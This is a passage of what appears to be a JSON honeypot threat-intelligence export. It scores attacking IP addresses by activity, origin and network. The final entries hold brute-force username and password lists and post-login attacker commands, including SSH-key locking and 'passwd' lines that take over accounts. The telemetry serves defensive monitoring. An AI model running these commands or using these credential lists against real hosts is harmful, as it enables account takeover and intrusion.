      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:35:23.967000+00:00",
        "last_seen_30d": "2026-03-10T20:36:28.834000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "175.140.229.190": {
      "attack_count": 2,
      "first_seen": "2026-03-22T16:02:18.752Z",
      "last_seen": "2026-03-22T16:02:31.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T16:02:18.752000+00:00",
        "last_seen_30d": "2026-03-22T16:03:39.621000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.128.31.27": {
      "attack_count": 2,
      "first_seen": "2026-03-19T18:35:30.285Z",
      "last_seen": "2026-03-19T18:35:30.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T18:35:30.285000+00:00",
        "last_seen_30d": "2026-03-19T18:36:31.823000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "186.209.52.178": {
      "attack_count": 2,
      "first_seen": "2026-03-23T05:58:17.462Z",
      "last_seen": "2026-03-23T05:58:30.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 53158,
      "as_org": "Net Turbo Telecom",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T13:23:18.530000+00:00",
        "last_seen_30d": "2026-03-31T08:41:12.138000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 2
      }
    },
    "186.233.181.47": {
      "attack_count": 2,
      "first_seen": "2026-03-19T11:39:16.399Z",
      "last_seen": "2026-03-19T11:39:30.123Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Louren\u00e7o",
      "asn": 53209,
      "as_org": "RAIMAX INTERNET LTDA",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T11:39:16.399000+00:00",
        "last_seen_30d": "2026-03-19T11:40:33.792000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.87.239.24": {
      "attack_count": 2,
      "first_seen": "2026-03-24T22:20:22.162Z",
      "last_seen": "2026-03-24T22:20:35.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Aracaju",
      "asn": 262689,
      "as_org": "UNOUN INTERNET LTDA",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:20:22.162000+00:00",
        "last_seen_30d": "2026-03-24T22:21:41.393000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "203.106.79.211": {
      "attack_count": 2,
      "first_seen": "2026-03-11T12:39:47.771Z",
      "last_seen": "2026-03-11T12:40:18.692Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Shah Alam",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:39:47.771000+00:00",
        "last_seen_30d": "2026-03-11T12:41:19.814000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "206.189.147.17": {
      "attack_count": 2,
      "first_seen": "2026-03-12T19:37:06.798Z",
      "last_seen": "2026-03-12T19:37:07.005Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T19:37:06.798000+00:00",
        "last_seen_30d": "2026-03-12T19:38:08.584000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "223.197.184.113": {
      "attack_count": 2,
      "first_seen": "2026-03-08T18:17:10.717Z",
      "last_seen": "2026-03-08T18:19:10.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:17:10.717000+00:00",
        "last_seen_30d": "2026-03-08T18:29:17.576000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.190.52.160": {
      "attack_count": 2,
      "first_seen": "2026-03-26T19:18:32.298Z",
      "last_seen": "2026-03-26T19:18:44.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Paramus",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:18:32.298000+00:00",
        "last_seen_30d": "2026-03-26T19:19:47.350000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.117.19": {
      "attack_count": 2,
      "first_seen": "2026-03-23T03:25:06.056Z",
      "last_seen": "2026-03-23T03:25:18.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T03:25:06.056000+00:00",
        "last_seen_30d": "2026-03-23T03:26:27.843000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.124.7": {
      "attack_count": 2,
      "first_seen": "2026-03-17T10:43:53.424Z",
      "last_seen": "2026-03-17T10:44:06.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T10:43:53.424000+00:00",
        "last_seen_30d": "2026-03-17T10:45:12.229000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.150.172": {
      "attack_count": 2,
      "first_seen": "2026-03-16T08:19:57.325Z",
      "last_seen": "2026-03-16T08:20:10.302Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T08:19:57.325000+00:00",
        "last_seen_30d": "2026-03-16T08:21:15.584000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.238.248.2": {
      "attack_count": 2,
      "first_seen": "2026-03-11T02:55:17.805Z",
      "last_seen": "2026-03-11T02:55:31.516Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Las Palmas",
      "asn": 266838,
      "as_org": "POLLACHINI NILSON PAULINO",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:55:17.805000+00:00",
        "last_seen_30d": "2026-03-11T02:56:32.731000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.142.216.61": {
      "attack_count": 2,
      "first_seen": "2026-03-15T11:47:58.552Z",
      "last_seen": "2026-03-15T11:48:12.379Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 7623,
      "as_org": "Gyeongbuk Cable TV",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:47:58.552000+00:00",
        "last_seen_30d": "2026-03-15T11:49:15.513000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.151.214.29": {
      "attack_count": 2,
      "first_seen": "2026-03-29T00:12:42.638Z",
      "last_seen": "2026-03-29T00:12:56.716Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T00:12:42.638000+00:00",
        "last_seen_30d": "2026-03-29T00:14:06.885000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.91.36.177": {
      "attack_count": 2,
      "first_seen": "2026-03-15T06:56:51.729Z",
      "last_seen": "2026-03-15T06:57:04.578Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ajmer",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:56:51.729000+00:00",
        "last_seen_30d": "2026-03-15T06:58:13.490000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "65.49.1.10": {
      "attack_count": 2,
      "first_seen": "2026-03-20T11:58:18.535Z",
      "last_seen": "2026-03-20T11:58:20.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T14:24:18+00:00",
        "last_seen_30d": "2026-03-31T08:22:38.335000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186,
        "Honeytrap": 86,
        "ConPot": 3,
        "Tanner": 3,
        "Cowrie": 2,
        "Dionaea": 2,
        "Ipphoney": 2
      }
    },
    "68.10.48.138": {
      "attack_count": 2,
      "first_seen": "2026-03-07T09:40:57.207Z",
      "last_seen": "2026-03-07T09:41:09.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:40:57.207000+00:00",
        "last_seen_30d": "2026-03-07T09:42:13.281000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "75.3.252.21": {
      "attack_count": 2,
      "first_seen": "2026-03-22T17:15:46.613Z",
      "last_seen": "2026-03-22T17:16:17.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T17:15:46.613000+00:00",
        "last_seen_30d": "2026-03-22T17:17:23.969000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.219.233.233": {
      "attack_count": 2,
      "first_seen": "2026-03-19T16:40:42.247Z",
      "last_seen": "2026-03-19T16:41:13.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T16:40:42.247000+00:00",
        "last_seen_30d": "2026-03-19T16:42:15.533000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.219.40.172": {
      "attack_count": 2,
      "first_seen": "2026-03-25T05:09:03.323Z",
      "last_seen": "2026-03-25T05:09:34.082Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T05:09:03.323000+00:00",
        "last_seen_30d": "2026-03-25T05:10:42.703000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "81.200.20.10": {
      "attack_count": 2,
      "first_seen": "2026-03-02T17:17:10.749Z",
      "last_seen": "2026-03-02T17:19:10.751Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 29124,
      "as_org": "Iskratelecom JSC",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:17:10.749000+00:00",
        "last_seen_30d": "2026-03-02T17:29:11.258000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "82.140.212.17": {
      "attack_count": 2,
      "first_seen": "2026-03-13T21:17:51.409Z",
      "last_seen": "2026-03-13T21:18:04.259Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tver",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T21:17:51.409000+00:00",
        "last_seen_30d": "2026-03-13T21:19:05.637000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.48": {
      "attack_count": 2,
      "first_seen": "2026-03-11T18:08:18.818Z",
      "last_seen": "2026-03-11T18:08:29.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 27,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T16:24:23+00:00",
        "last_seen_30d": "2026-03-30T10:19:11.102000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 26,
        "Cowrie": 2
      }
    },
    "203.171.29.193": {
      "attack_count": 1242,
      "first_seen": "2026-03-18T17:26:41.542Z",
      "last_seen": "2026-03-18T18:37:23.303Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45903,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1754,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T17:26:41.542000+00:00",
        "last_seen_30d": "2026-03-18T18:38:28.660000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1242,
        "Suricata": 512
      }
    },
    "186.216.246.255": {
      "attack_count": 697,
      "first_seen": "2026-03-08T00:17:21.905Z",
      "last_seen": "2026-03-16T07:38:00.935Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "adi",
        "debian",
        "karan",
        "mgmt",
        "michele",
        "peter",
        "user",
        "user8",
        "xwiki",
        "administrador",
        "deamon_root",
        "dylan",
        "hyun",
        "ibrahim",
        "lyh",
        "maks",
        "remoteuser",
        "root",
        "srvadmin"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123",
        "123456",
        "Maks123!",
        "Tian123!",
        "Tsbot123",
        "User8123!",
        "Wikijs123",
        "aA12345678",
        "hyunpass",
        "ibrahim1234",
        "karan123",
        "lyh1234",
        "password",
        "srvadmin123!",
        "student101234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nFBs8W8PoixuD\\nFBs8W8PoixuD\\n\"|passwd",
        "echo \"123456\\nmYZ16a75YtTm\\nmYZ16a75YtTm\\n\"|passwd",
        "echo \"12345\\n7jNkE7ft0JP9\\n7jNkE7ft0JP9\\n\"|passwd",
        "echo \"123\\nsvpd0tPp9Psv\\nsvpd0tPp9Psv\\n\"|passwd",
        "echo \"User8123!\\nlFqPSuxpVe3G\\nlFqPSuxpVe3G\\n\"|passwd",
        "echo \"karan123\\nDvzpoSG2TElO\\nDvzpoSG2TElO\\n\"|passwd",
        "echo \"user.\\nOFkdQbxbFDfS\\nOFkdQbxbFDfS\\n\"|passwd",
